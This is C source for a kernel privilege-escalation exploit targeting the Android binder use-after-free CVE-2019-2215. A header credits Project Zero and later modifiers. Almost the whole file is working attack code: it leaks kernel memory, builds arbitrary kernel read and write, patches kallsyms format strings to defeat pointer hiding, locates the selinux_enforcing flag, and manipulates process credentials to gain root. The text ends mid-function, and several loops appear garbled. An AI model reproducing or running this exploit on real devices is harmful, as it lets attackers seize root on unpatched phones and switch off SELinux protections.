/* * POC to gain arbitrary kernel R/W access using CVE-2019-2215 * https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 * * Jann Horn & Maddie Stone of Google Project Zero * Some stuff from Grant Hernandez to achieve root (Oct 15th 2019) * Modified by Alexander R. Pruss for 3.18 kernels where WAITQUEUE_OFFSET is 0x98 * * October 2019 */ #define DELAY_USEC 200000 // $ uname -a // Linux localhost 3.18.71-perf+ #1 SMP PREEMPT Tue Jul 17 14:44:34 KST 2018 aarch64 //#define KERNEL_BASE 0xffffffc000080000ul //#define KERNEL_BASE 0xffffffc000000000ul #define KERNEL_BASE search_base #define OFFSET__thread_info__flags 0x000 #define OFFSET__task_struct__stack 0x008 #define OFFSET__cred__uid 0x004 #define OFFSET__cred__securebits 0x024 #define OFFSET__cred__cap_permitted 0x030 #define OFFSET__cred__cap_effective (OFFSET__cred__cap_permitted+0x008) #define OFFSET__cred__cap_bset (OFFSET__cred__cap_permitted+0x010) #define USER_DS 0x8000000000ul #define BINDER_SET_MAX_THREADS 0x40046205ul #define MAX_THREADS 3 #define RETRIES 3 #define PROC_KALLSYMS #define KALLSYMS_CACHING #define KSYM_NAME_LEN 128 //Not needed, but saved for future use; the offsets are for LGV20 LS998 //#define OFFSET__task_struct__seccomp 0x9b0 //#define OFFSET__cred__user_ns 0x088 // if you define this, the first run might be a little faster //#define OFFSET__task_struct__cred 0x550 #define OFFSET__cred__security 0x078 #define OFFSET__cred__cap_inheritable 0x028 #define OFFSET__cred__cap_ambient 0x048 //#define OFFSET__task_struct__mm 0x308 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define MAX_PACKAGE_NAME 1024 #define MIN(x, y) ((x) < (y) ? (x) : (y)) #define MAX(x, y) ((x) > (y) ? (x) : (y)) #define BINDER_THREAD_EXIT 0x40046208ul // NOTE: we don't cover the task_struct* here; we want to leave it uninitialized #define BINDER_THREAD_SZ 0x198 #define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16) //25 #define WAITQUEUE_OFFSET (0xA8) #define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16) //10 #define UAF_SPINLOCK 0x10001 #define PAGE 0x1000ul #define TASK_STRUCT_OFFSET_FROM_TASK_LIST 0xE8 int quiet = 0; const char whitelist[] = "su98-whitelist.txt"; const char denyfile[] = "su98-denied.txt"; int have_kallsyms = 0; int kernel3 = 1; int have_base=0; char* myPath; char* myName; unsigned long search_base=0xffffffc000000000ul; struct kallsyms { unsigned long addresses; unsigned long names; unsigned long num_syms; unsigned long token_table; unsigned long markers; char* token_table_data; unsigned short token_index_data[256]; } kallsyms; void message(char *fmt, ...) { if (quiet) return; va_list ap; va_start(ap, fmt); vprintf(fmt, ap); va_end(ap); putchar('\n'); } void error(char* fmt, ...) { va_list ap; va_start(ap, fmt); vfprintf(stderr, fmt, ap); va_end(ap); fprintf(stderr, ": %s\n", errno ? strerror(errno) : "error"); exit(1); } int isKernelPointer(unsigned long p) { return p >= KERNEL_BASE && p<=0xFFFFFFFFFFFFFFFEul; } unsigned long kernel_read_ulong(unsigned long kaddr); void hexdump_memory(void *_buf, size_t byte_count) { unsigned char *buf = _buf; unsigned long byte_offset_start = 0; if (byte_count % 16) error( "hexdump_memory called with non-full line"); for (unsigned long byte_offset = byte_offset_start; byte_offset < byte_offset_start + byte_count; byte_offset += 16) { char line[1000]; char *linep = line; linep += sprintf(linep, "%08lx ", byte_offset); for (int i = 0; i < 16; i++) { linep += sprintf(linep, "%02hhx ", (unsigned char)buf[byte_offset + i]); } linep += sprintf(linep, " |"); for (int i = 0; i < 16; i++) { char c = buf[byte_offset + i]; if (isalnum(c) || ispunct(c) || c == ' ') { *(linep++) = c; } else { *(linep++) = '.'; } } linep += sprintf(linep, "|"); puts(line); } } int epfd; int binder_fd; unsigned long iovec_size(struct iovec *iov, int n) { unsigned long sum = 0; for (int i = 0; i < n; i++) sum += iov[i].iov_len; return sum; } unsigned long iovec_max_size(struct iovec *iov, int n) { unsigned long m = 0; for (int i = 0; i < n; i++) { if (iov[i].iov_len > m) m = iov[i].iov_len; } return m; } int clobber_data(unsigned long payloadAddress, const void *src, unsigned long payloadLength) { int dummyBufferSize = MAX(UAF_SPINLOCK, PAGE); char *dummyBuffer = malloc(dummyBufferSize); if (dummyBuffer == NULL) error( "allocating dummyBuffer"); memset(dummyBuffer, 0, dummyBufferSize); message("PARENT: clobbering at 0x%lx", payloadAddress); struct epoll_event event = {.events = EPOLLIN}; int max_threads = 2; ioctl(binder_fd, BINDER_SET_MAX_THREADS, &max_threads); if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) error( "epoll_add"); unsigned long testDatum = 0; unsigned long const testValue = 0xABCDDEADBEEF1234ul; struct iovec iovec_array[IOVEC_ARRAY_SZ]; memset(iovec_array, 0, sizeof(iovec_array)); const unsigned SECOND_WRITE_CHUNK_IOVEC_ITEMS = 3; unsigned long second_write_chunk[SECOND_WRITE_CHUNK_IOVEC_ITEMS * 2] = { (unsigned long)dummyBuffer, /* iov_base (currently in use) */ // wq->task_list->next SECOND_WRITE_CHUNK_IOVEC_ITEMS * 0x10, /* iov_len (currently in use) */ // wq->task_list->prev payloadAddress, //(unsigned long)current_ptr+0x8, // current_ptr+0x8, // current_ptr + 0x8, /* next iov_base (addr_limit) */ payloadLength, (unsigned long)&testDatum, sizeof(testDatum), }; int delta = (UAF_SPINLOCK + sizeof(second_write_chunk)) % PAGE; int paddingSize = delta == 0 ? 0 : PAGE - delta; iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_base = dummyBuffer; iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_len = paddingSize; iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummyBuffer; iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0; // spinlock: will turn to UAF_SPINLOCK iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = second_write_chunk; // wq->task_list->next: will turn to payloadAddress of task_list iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = sizeof(second_write_chunk); // wq->task_list->prev: will turn to payloadAddress of task_list iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = dummyBuffer; // stuff from this point will be overwritten and/or ignored iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = UAF_SPINLOCK; iovec_array[IOVEC_INDX_FOR_WQ + 3].iov_base = dummyBuffer; iovec_array[IOVEC_INDX_FOR_WQ + 3].iov_len = payloadLength; iovec_array[IOVEC_INDX_FOR_WQ + 4].iov_base = dummyBuffer; iovec_array[IOVEC_INDX_FOR_WQ + 4].iov_len = sizeof(testDatum); int totalLength = iovec_size(iovec_array, IOVEC_ARRAY_SZ); int pipes[2]; pipe(pipes); if ((fcntl(pipes[0], F_SETPIPE_SZ, PAGE)) != PAGE) error( "pipe size"); if ((fcntl(pipes[1], F_SETPIPE_SZ, PAGE)) != PAGE) error( "pipe size"); pid_t fork_ret = fork(); if (fork_ret == -1) error( "fork"); if (fork_ret == 0) { /* Child process */ prctl(PR_SET_PDEATHSIG, SIGKILL); usleep(DELAY_USEC); message("CHILD: Doing EPOLL_CTL_DEL."); epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event); message("CHILD: Finished EPOLL_CTL_DEL."); char *f = malloc(totalLength); if (f == NULL) error( "Allocating memory"); memset(f, 0, paddingSize + UAF_SPINLOCK); unsigned long pos = paddingSize + UAF_SPINLOCK; memcpy(f + pos, second_write_chunk, sizeof(second_write_chunk)); pos += sizeof(second_write_chunk); memcpy(f + pos, src, payloadLength); pos += payloadLength; memcpy(f + pos, &testValue, sizeof(testDatum)); pos += sizeof(testDatum); write(pipes[1], f, pos); message("CHILD: wrote %lu", pos); close(pipes[1]); close(pipes[0]); exit(0); } ioctl(binder_fd, BINDER_THREAD_EXIT, NULL); int b = readv(pipes[0], iovec_array, IOVEC_ARRAY_SZ); message("PARENT: readv returns %d, expected %d", b, totalLength); if (testDatum != testValue) message( "PARENT: **fail** clobber value doesn't match: is %lx but should be %lx", testDatum, testValue); else message("PARENT: clobbering test passed"); free(dummyBuffer); close(pipes[0]); close(pipes[1]); return testDatum == testValue; } int leak_data(void *leakBuffer, int leakAmount, unsigned long extraLeakAddress, void *extraLeakBuffer, int extraLeakAmount, unsigned long *task_struct_ptr_p, unsigned long *task_struct_plus_8_p) { unsigned long const minimumLeak = TASK_STRUCT_OFFSET_FROM_TASK_LIST + 8; unsigned long adjLeakAmount = MAX(leakAmount, 4336); // TODO: figure out why we need at least 4336; I would think that minimumLeak should be enough int success = 1; struct epoll_event event = {.events = EPOLLIN}; int max_threads = 2; ioctl(binder_fd, BINDER_SET_MAX_THREADS, &max_threads); if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) error( "epoll_add"); struct iovec iovec_array[IOVEC_ARRAY_SZ]; memset(iovec_array, 0, sizeof(iovec_array)); int delta = (UAF_SPINLOCK + minimumLeak) % PAGE; int paddingSize = (delta == 0 ? 0 : PAGE - delta) + PAGE; iovec_array[IOVEC_INDX_FOR_WQ - 2].iov_base = (unsigned long *)0xDEADBEEF; iovec_array[IOVEC_INDX_FOR_WQ - 2].iov_len = PAGE; iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_base = (unsigned long *)0xDEADBEEF; iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_len = paddingSize - PAGE; iovec_array[IOVEC_INDX_FOR_WQ].iov_base = (unsigned long *)0xDEADBEEF; iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0; /* spinlock: will turn to UAF_SPINLOCK */ iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (unsigned long *)0xDEADBEEF; /* wq->task_list->next */ iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = adjLeakAmount; /* wq->task_list->prev */ iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (unsigned long *)0xDEADBEEF; // we shouldn't get to here iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = extraLeakAmount + UAF_SPINLOCK + 8; unsigned long totalLength = iovec_size(iovec_array, IOVEC_ARRAY_SZ); unsigned long maxLength = iovec_size(iovec_array, IOVEC_ARRAY_SZ); unsigned char *dataBuffer = malloc(maxLength); if (dataBuffer == NULL) error( "Allocating %ld bytes", maxLength); for (int i = 0; i < IOVEC_ARRAY_SZ; i++) if (iovec_array[i].iov_base == (unsigned long *)0xDEADBEEF) iovec_array[i].iov_base = dataBuffer; int b; int pipefd[2]; int leakPipe[2]; if (pipe(pipefd)) error( "pipe"); if (pipe(leakPipe)) err(2, "pipe"); if ((fcntl(pipefd[0], F_SETPIPE_SZ, PAGE)) != PAGE) error( "pipe size"); if ((fcntl(pipefd[1], F_SETPIPE_SZ, PAGE)) != PAGE) error( "pipe size"); pid_t fork_ret = fork(); if (fork_ret == -1) error( "fork"); if (fork_ret == 0) { /* Child process */ char childSuccess = 1; prctl(PR_SET_PDEATHSIG, SIGKILL); usleep(DELAY_USEC); message("CHILD: Doing EPOLL_CTL_DEL."); epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event); message("CHILD: Finished EPOLL_CTL_DEL."); unsigned long size1 = paddingSize + UAF_SPINLOCK + minimumLeak; message("CHILD: initial portion length 0x%lx", size1); char buffer[size1]; memset(buffer, 0, size1); if (read(pipefd[0], buffer, size1) != size1) error( "reading first part of pipe"); memcpy(dataBuffer, buffer + size1 - minimumLeak, minimumLeak); int badPointer = 0; if (memcmp(dataBuffer, dataBuffer + 8, 8)) badPointer = 1; unsigned long addr = 0; memcpy(&addr, dataBuffer, 8); if (!isKernelPointer(addr)) { badPointer = 1; childSuccess = 0; } unsigned long task_struct_ptr = 0; memcpy(&task_struct_ptr, dataBuffer + TASK_STRUCT_OFFSET_FROM_TASK_LIST, 8); message("CHILD: task_struct_ptr = 0x%lx", task_struct_ptr); if (!badPointer && (extraLeakAmount > 0 || task_struct_plus_8_p != NULL)) { unsigned long extra[6] = { addr, adjLeakAmount, extraLeakAddress, extraLeakAmount, task_struct_ptr + 8, 8}; message("CHILD: clobbering with extra leak structures"); if (clobber_data(addr, &extra, sizeof(extra))) message("CHILD: clobbered"); else { message("CHILD: **fail** iovec clobbering didn't work"); childSuccess = 0; } } errno = 0; if (read(pipefd[0], dataBuffer + minimumLeak, adjLeakAmount - minimumLeak) != adjLeakAmount - minimumLeak) error("leaking"); write(leakPipe[1], dataBuffer, adjLeakAmount); if (extraLeakAmount > 0) { message("CHILD: extra leak"); if (read(pipefd[0], extraLeakBuffer, extraLeakAmount) != extraLeakAmount) { childSuccess = 0; error( "extra leaking"); } write(leakPipe[1], extraLeakBuffer, extraLeakAmount); //hexdump_memory(extraLeakBuffer, (extraLeakAmount+15)/16*16); } if (task_struct_plus_8_p != NULL) { if (read(pipefd[0], dataBuffer, 8) != 8) { childSuccess = 0; error( "leaking second field of task_struct"); } message("CHILD: task_struct_ptr = 0x%lx", *(unsigned long *)dataBuffer); write(leakPipe[1], dataBuffer, 8); } write(leakPipe[1], &childSuccess, 1); close(pipefd[0]); close(pipefd[1]); close(leakPipe[0]); close(leakPipe[1]); message("CHILD: Finished write to FIFO."); if (badPointer) { errno = 0; message("CHILD: **fail** problematic address pointer, e.g., %lx", addr); } exit(0); } message("PARENT: soon will be calling WRITEV"); errno = 0; ioctl(binder_fd, BINDER_THREAD_EXIT, NULL); b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ); message("PARENT: writev() returns 0x%x", (unsigned int)b); if (b != totalLength) { message( "PARENT: **fail** writev() returned wrong value: needed 0x%lx", totalLength); success = 0; goto DONE; } message("PARENT: Reading leaked data"); b = read(leakPipe[0], dataBuffer, adjLeakAmount); if (b != adjLeakAmount) { message( "PARENT: **fail** reading leak: read 0x%x needed 0x%lx", b, adjLeakAmount); success = 0; goto DONE; } if (leakAmount > 0) memcpy(leakBuffer, dataBuffer, leakAmount); if (extraLeakAmount != 0) { message("PARENT: Reading extra leaked data"); b = read(leakPipe[0], extraLeakBuffer, extraLeakAmount); if (b != extraLeakAmount) { message( "PARENT: **fail** reading extra leak: read 0x%x needed 0x%lx", b, extraLeakAmount); success = 0; goto DONE; } } if (task_struct_plus_8_p != NULL) { if (read(leakPipe[0], task_struct_plus_8_p, 8) != 8) { message( "PARENT: **fail** reading leaked task_struct at offset 8"); success = 0; goto DONE; } } char childSucceeded=0; read(leakPipe[0], &childSucceeded, 1); if (!childSucceeded) success = 0; if (task_struct_ptr_p != NULL) memcpy(task_struct_ptr_p, dataBuffer + TASK_STRUCT_OFFSET_FROM_TASK_LIST, 8); DONE: close(pipefd[0]); close(pipefd[1]); close(leakPipe[0]); close(leakPipe[1]); int status; wait(&status); //if (wait(&status) != fork_ret) error( "wait"); free(dataBuffer); if (success) message("PARENT: leaking successful"); return success; } int leak_data_retry(void *leakBuffer, int leakAmount, unsigned long extraLeakAddress, void *extraLeakBuffer, int extraLeakAmount, unsigned long *task_struct_ptr_p, unsigned long *task_struct_plus_8_p) { int try = 0; while (try < RETRIES && !leak_data(leakBuffer, leakAmount, extraLeakAddress, extraLeakBuffer, extraLeakAmount, task_struct_ptr_p, task_struct_plus_8_p)) { message("MAIN: **fail** retrying"); try++; } if (0 < try && try < RETRIES) message("MAIN: it took %d tries, but succeeded", try); return try < RETRIES; } int clobber_data_retry(unsigned long payloadAddress, const void *src, unsigned long payloadLength) { int try = 0; while (try < RETRIES && !clobber_data(payloadAddress, src, payloadLength)) { message("MAIN: **fail** retrying"); try++; } if (0 < try && try < RETRIES) message("MAIN: it took %d tries, but succeeded", try); return try < RETRIES; } int kernel_rw_pipe[2]; struct kernel_buffer { unsigned char pageBuffer[PAGE]; unsigned long pageBufferOffset; } kernel_buffer = { .pageBufferOffset = 0 }; void reset_kernel_pipes() { kernel_buffer.pageBufferOffset = 0; close(kernel_rw_pipe[0]); close(kernel_rw_pipe[1]); if (pipe(kernel_rw_pipe)) error( "kernel_rw_pipe"); } int raw_kernel_write(unsigned long kaddr, void *buf, unsigned long len) { if (len > PAGE) error( "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len); if (write(kernel_rw_pipe[1], buf, len) != len || read(kernel_rw_pipe[0], (void *)kaddr, len) != len) { reset_kernel_pipes(); return 0; } return len; } void kernel_write(unsigned long kaddr, void *buf, unsigned long len) { if (len != raw_kernel_write(kaddr, buf, len)) error( "error with kernel writing"); } int raw_kernel_read(unsigned long kaddr, void *buf, unsigned long len) { if (len > PAGE) error( "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len); if (write(kernel_rw_pipe[1], (void *)kaddr, len) != len || read(kernel_rw_pipe[0], buf, len) != len) { reset_kernel_pipes(); return 0; } return len; } void kernel_read(unsigned long kaddr, void *buf, unsigned long len) { if (len > PAGE) error( "kernel reads over PAGE_SIZE are messy, tried 0x%lx", len); if (len != raw_kernel_read(kaddr, buf, len)) message( "error with kernel reading"); } unsigned char kernel_read_uchar(unsigned long offset) { if (kernel_buffer.pageBufferOffset == 0 || offset < kernel_buffer.pageBufferOffset || kernel_buffer.pageBufferOffset+PAGE <= offset) { kernel_buffer.pageBufferOffset = offset & ~(PAGE-1); kernel_read(kernel_buffer.pageBufferOffset, kernel_buffer.pageBuffer, PAGE); } return kernel_buffer.pageBuffer[offset-kernel_buffer.pageBufferOffset]; } unsigned long kernel_read_ulong(unsigned long kaddr) { unsigned long data; kernel_read(kaddr, &data, sizeof(data)); return data; } unsigned long kernel_read_uint(unsigned long kaddr) { unsigned int data; kernel_read(kaddr, &data, sizeof(data)); return data; } void kernel_write_ulong(unsigned long kaddr, unsigned long data) { kernel_write(kaddr, &data, sizeof(data)); } void kernel_write_uint(unsigned long kaddr, unsigned int data) { kernel_write(kaddr, &data, sizeof(data)); } void kernel_write_uchar(unsigned long kaddr, unsigned char data) { kernel_write(kaddr, &data, sizeof(data)); } // code from DrZener unsigned long findSelinuxEnforcingFromAvcDenied(unsigned long avc_denied_address) { unsigned long address; unsigned long selinux_enforcing_address; bool adrp_found = 0; for(address = avc_denied_address; address <= avc_denied_address + 0x60; address += 4) { unsigned int instruction = kernel_read_uint(address); if(!adrp_found) { unsigned int instruction_masked = instruction; instruction_masked >>= 24; instruction_masked &= 0x9F; if((instruction_masked ^ 0x90) == 0 ) { selinux_enforcing_address = address; unsigned int imm_hi, imm_lo, imm; imm_hi = (instruction >> 5) & 0x7FFFF; imm_lo = (instruction >> 29) & 3; imm = ((imm_hi << 2) | imm_lo) << 12; selinux_enforcing_address &= 0xFFFFFFFFFFFFF000; selinux_enforcing_address += imm; adrp_found = 1; } } if (adrp_found) { unsigned int instruction_masked = instruction; instruction_masked >>= 22; instruction_masked &= 0x2FF; if((instruction_masked ^ 0x2E5) == 0 ) { unsigned int offset = ((instruction >> 10) & 0xFFF) << 2; selinux_enforcing_address += offset; message("selinux_enforcing address found"); return selinux_enforcing_address; } } } message("selinux_enforcing address not found"); return 0UL; } // Make the kallsyms module not check for permission to list symbol addresses int fixKallsymsFormatStrings(unsigned long start) { errno = 0; int found = 0; start &= ~(PAGE - 1); unsigned long searchTarget; memcpy(&searchTarget, "%pK %c %", 8); int backwards = 1; int forwards = 1; int direction = 1; unsigned long forwardAddress = start; unsigned long backwardAddress = start - PAGE; unsigned long page[PAGE / 8]; message("MAIN: searching for kallsyms format strings"); while ((backwards || forwards) && found < 2) { unsigned long address = direction > 0 ? forwardAddress : backwardAddress; if (address < 0xffffffc000000000ul || address >= 0xffffffd000000000ul || raw_kernel_read(address, page, PAGE) != PAGE) { if (direction > 0) forwards = 0; else backwards = 0; } else { for (int i = 0; i < PAGE / 8; i++) if (page[i] == searchTarget) { unsigned long a = address + 8 * i; char fmt[16]; kernel_read(a, fmt, 16); if (!strcmp(fmt, "%pK %c %s\t[%s]\x0A")) { message("MAIN: patching longer version at %lx", a); if (15 != raw_kernel_write(a, "%p %c %s\t[%s]\x0A", 15)) { message("MAIN: **fail** probably you have read-only const storage"); return found; } found++; } else if (!strcmp(fmt, "%pK %c %s\x0A")) { message("MAIN: patching shorter version at %lx", a); if (15 != raw_kernel_write(a, "%p %c %s\x0A", 10)) { message("MAIN: **fail** probably you have read-only const storage"); return found; } found++; } if (found >= 2) return 2; } } if (direction > 0) forwardAddress += PAGE; else backwardAddress -= PAGE; direction = -direction; if (direction < 0 && !backwards) { direction = 1; } else if (direction > 0 && !forwards) { direction = -1; } } return found; } int verifyCred(unsigned long cred_ptr) { unsigned uid; if (cred_ptr < 0xffffff0000000000ul || 4 != raw_kernel_read(cred_ptr+OFFSET__cred__uid, &uid, 4)) return 0; return uid == getuid(); } int getCredOffset(unsigned char* task_struct_data) { char taskname[16]; unsigned n = MIN(strlen(myName)+1, 16); memcpy(taskname, myName, n); taskname[15] = 0; for (int i=OFFSET__task_struct__stack+8; iseccomp_status == seccompStatus && isKernelPointer(p->seccomp_filter)) { if (p->child_exe == p->parent_exe + 1) { return i; } else { if (firstGuess < 0) firstGuess = i; } } } return firstGuess; } unsigned long countIncreasingEntries(unsigned long start) { unsigned long count = 1; unsigned long prev = kernel_read_ulong(start); do { start += 8; unsigned long v = kernel_read_ulong(start); if (v < prev) return count; count++; } while(1); } int increasing(unsigned long* location, unsigned n) { for (int i=0; i location[i+1]) return 0; return 1; } int find_kallsyms_addresses(unsigned long searchStart, unsigned long searchEnd, unsigned long* startP, unsigned long* countP) { if (searchStart == 0) searchStart = KERNEL_BASE; if (searchEnd == 0) searchEnd = searchStart + 0x5000000; unsigned long foundStart = 0; unsigned char page[PAGE]; for (unsigned long i=searchStart; i= 40000) { *startP = i+j; *countP = count; return 1; } /*else if (count >= 10000) { message("MAIN: interesting, found a sequence of 10000 non-decreasing entries at 0x%lx", (i+j)); }*/ } } } return 0; } int get_kallsyms_name(unsigned long offset, char* name) { unsigned char length = kernel_read_uchar(offset++); for (unsigned char i = 0; i < length ; i++) { int index = kallsyms.token_index_data[kernel_read_uchar(offset++)]; int n = strlen(kallsyms.token_table_data+index); memcpy(name, kallsyms.token_table_data+index, n); name += n; } *name = 0; return 1+length; } int loadKallsyms() { if (have_kallsyms) return 1; if (!find_kallsyms_addresses(0, 0, &kallsyms.addresses, &kallsyms.num_syms)) return 0; message("MAIN: kallsyms names start at 0x%lx and have %ld entries", kallsyms.addresses, kallsyms.num_syms); unsigned long offset = kallsyms.addresses + 8 * kallsyms.num_syms; message("MAIN: kallsyms names end at 0x%lx", offset); struct kernel_buffer buf = {.pageBufferOffset = 0}; unsigned long ost=offset; offset = (offset + 0xFFul) & ~0xFFul; unsigned long count = kernel_read_ulong(offset); offset += 8; if (count != kallsyms.num_syms) { message("MAIN: **fail** kallsym entry count mismatch %ld", count); have_base=1; return 0; } offset = (offset + 0xFFul) & ~0xFFul; kallsyms.names = offset; for (unsigned long i = 0 ; i < kallsyms.num_syms ; i++) { unsigned char len = kernel_read_uchar(offset++); offset += len; } offset = (offset + 0xFF) & ~0xFFul; kallsyms.markers = offset; offset += 8 * ((kallsyms.num_syms + 255ul) / 256ul); offset = (offset + 0xFF) & ~0xFFul; kallsyms.token_table = offset; int tokens = 0; while (tokens < 256) { if (kernel_read_uchar(offset++) == 0) tokens++; } unsigned long token_table_length = offset - kallsyms.token_table; kallsyms.token_table_data = malloc(token_table_length); errno = 0; if (kallsyms.token_table_data == NULL) error("allocating token table"); for (unsigned long i = 0 ; i < token_table_length ; i++) kallsyms.token_table_data[i] = kernel_read_uchar(kallsyms.token_table + i); offset = (offset + 0xFF) & ~0xFFul; kernel_read(offset, kallsyms.token_index_data, sizeof(kallsyms.token_index_data)); have_kallsyms = 1; return 1; } unsigned long findSymbol_memory_search(char* symbol) { message("MAIN: searching for kallsyms table"); if (! loadKallsyms()) { message("MAIN: **fail** cannot find kallsyms table"); return 0; } unsigned long offset = kallsyms.names; char name[KSYM_NAME_LEN]; unsigned n = strlen(symbol); for(unsigned long i = 0; i < kallsyms.num_syms; i++) { unsigned int n1 = get_kallsyms_name(offset, name); if (!strncmp(name+1, symbol, n) && (name[1+n] == '.' || !name[1+n])) { unsigned long address = kernel_read_ulong(kallsyms.addresses + i*8); message( "MAIN: found %s in kernel memory at %lx", symbol, address); return address; } offset += n1; } return 0; } char* allocateSymbolCachePathName(char* symbol) { int n = strlen(myPath); char* pathname = malloc(strlen(symbol)+7+1+n); if (pathname == NULL) { errno = 0; error("allocating memory for pathname"); } strcpy(pathname, myPath); strcat(pathname, symbol); strcat(pathname, ".symbol"); return pathname; } unsigned long findSymbol_in_cache(char* symbol) { char* pathname = allocateSymbolCachePathName(symbol); unsigned long address = 0; FILE *cached = fopen(pathname, "r"); if (cached != NULL) { fscanf(cached, "%lx", &address); fclose(cached); } free(pathname); return address; } void cacheSymbol(char* symbol, unsigned long address) { #ifdef KALLSYMS_CACHING if (address != 0 && address != findSymbol_in_cache(symbol)) { char* pathname = allocateSymbolCachePathName(symbol); FILE *cached = fopen(pathname, "w"); if (cached != NULL) { fprintf(cached, "%lx\n", address); fclose(cached); char* cmd = alloca(10+strlen(pathname)+1); sprintf(cmd, "chmod 666 %s", pathname); system(cmd); message("cached %s", pathname); } free(pathname); } #endif } unsigned long findSymbol(unsigned long pointInKernelMemory, char *symbol) { unsigned long address = 0; #ifdef KALLSYMS_CACHING address = findSymbol_in_cache(symbol); if (address != 0) return address; #endif #ifndef PROC_KALLSYMS address = findSymbol_memory_search(symbol); #else char buf[1024]; buf[0] = 0; errno = 0; FILE *ks = fopen("/proc/kallsyms", "r"); if (ks == NULL) { return findSymbol_memory_search(symbol); } fgets(buf, 1024, ks); if (ks != NULL) fclose(ks); if ( (buf[0] == 0 || strncmp(buf, "0000000000000000", 16) == 0) && fixKallsymsFormatStrings(pointInKernelMemory) == 0) { message( "MAIN: **partial failure** cannnot fix kallsyms format string"); address = findSymbol_memory_search(symbol); } else { ks = fopen("/proc/kallsyms", "r"); while (NULL != fgets(buf, sizeof(buf), ks)) { unsigned long a; unsigned char type; unsigned n = strlen(symbol); char sym[1024]; sscanf(buf, "%lx %c %s", &a, &type, sym); if (!strncmp(sym, symbol, n) && (sym[n]=='.' || !sym[n])) { message( "found %s in /proc/kallsyms", sym); address = a; break; } } fclose(ks); } #endif return address; } void kptrLeak(unsigned long task_struct_ptr) { for (int i=0; i0xffffff0000000000){ message("searching at 0x%lx",kernel_read_ulong(task_struct_ptr+i-8)); unsigned long bk_search_base=search_base; search_base=kernel_read_ulong(task_struct_ptr+i-8); loadKallsyms(); if(have_base==0){search_base=bk_search_base;} have_base=0; } } message("kptrLeak finished"); return; } void checkKernelVersion() { kernel3 = 1; FILE *k = fopen("/proc/version", "r"); if (k != NULL) { char buf[1024]=""; fgets(buf, sizeof(buf), k); if (NULL != strstr(buf, "Linux version 4")) kernel3 = 0; } if (kernel3) message("MAIN: detected kernel version 3"); else message("MAIN: detected kernel version other than 3"); } void getPackageName(unsigned uid, char* packageName) { if (uid == 2000) { strcpy(packageName, "adb"); return; } else if (uid == 0) { strcpy(packageName, "root"); return; } strcpy(packageName, "(unknown)"); FILE* f = fopen("/data/system/packages.list", "r"); if (f == NULL) return; unsigned id; char pack[MAX_PACKAGE_NAME]; while(2 == fscanf(f, "%s %u%*[^\n]", pack, &id)) { if (id == uid) { strncpy(packageName, pack, MAX_PACKAGE_NAME); packageName[MAX_PACKAGE_NAME-1] = 0; goto DONE; } } DONE: fclose(f); } int checkWhitelist(unsigned uid) { if (uid == 0 || uid == 2000) return 1; char *path = alloca(strlen(myPath) + sizeof(whitelist)); strcpy(path, myPath); strcat(path, whitelist); FILE* wl = fopen(path, "r"); if (wl == NULL) { message("MAIN: no whitelist, so all callers are welcome"); return 1; } char parent[MAX_PACKAGE_NAME]; getPackageName(uid, parent); int allowed = 0; char line[512]; while (NULL != fgets(line, sizeof(line), wl)) { line[sizeof(line)-1] = 0; char* p = line; while (*p && isspace(*p)) p++; char*q = p + strlen(p) - 1; while (p < q && isspace(*q)) *q-- = 0; if (q <= p) continue; if (*q == '*') { if (!strncmp(parent, p, q-p-1)) { allowed = 1; goto DONE; } } else if (!strcmp(parent,p)) { allowed = 1; goto DONE; } } DONE: fclose(wl); if (allowed) message("MAIN: whitelist allows %s", parent); else { if (parent[0]) { char *path = alloca(strlen(myPath) + sizeof(denyfile)); strcpy(path, myPath); strcat(path, denyfile); FILE* f = fopen(path, "a"); if (f != NULL) { fprintf(f, "%s\n", parent); fclose(f); } } } return allowed; } /* for devices with randomized thread_info location on stack: thanks to chompie1337 */ unsigned long find_thread_info_ptr_kernel3(unsigned long kstack) { unsigned long kstack_data[16384/8]; message("MAIN: parsing kernel stack to find thread_info"); if (!leak_data_retry(NULL, 0, kstack, kstack_data, sizeof(kstack_data), NULL, NULL)) error("Cannot leak kernel stack"); for (unsigned int pos = 0; pos < sizeof(kstack_data)/8; pos++) if (kstack_data[pos] == USER_DS) return kstack+pos*8-8; return 0; } unsigned long find_selinux_enforcing(unsigned long search_base) { unsigned long address = findSymbol(search_base, "selinux_enforcing"); if (address == 0) { message("MAIN: direct search didn't work, so searching via avc_denied"); address = findSymbol(search_base, "avc_denied"); if (address == 0) return 0; address = findSelinuxEnforcingFromAvcDenied(address); } return address; } int main(int argc, char **argv) { int command = 0; int dump = 0; int rejoinNS = 1; char result[PATH_MAX]; ssize_t count = readlink("/proc/self/exe", result, PATH_MAX); char* p = strrchr(result, '/'); if (p == NULL) p = result; else p++; *p = 0; myPath = result; p = strrchr(argv[0], '/'); if (p == NULL) p = argv[0]; else p++; myName = p; int n = p-argv[0]; if (!strcmp(myName,"su")) { quiet = 1; } while(argc >= 2 && argv[1][0] == '-') { switch(argv[1][1]) { case 'q': quiet = 1; break; case 'v': puts("su98 version 0.01"); exit(0); break; case 'c': command = 1; 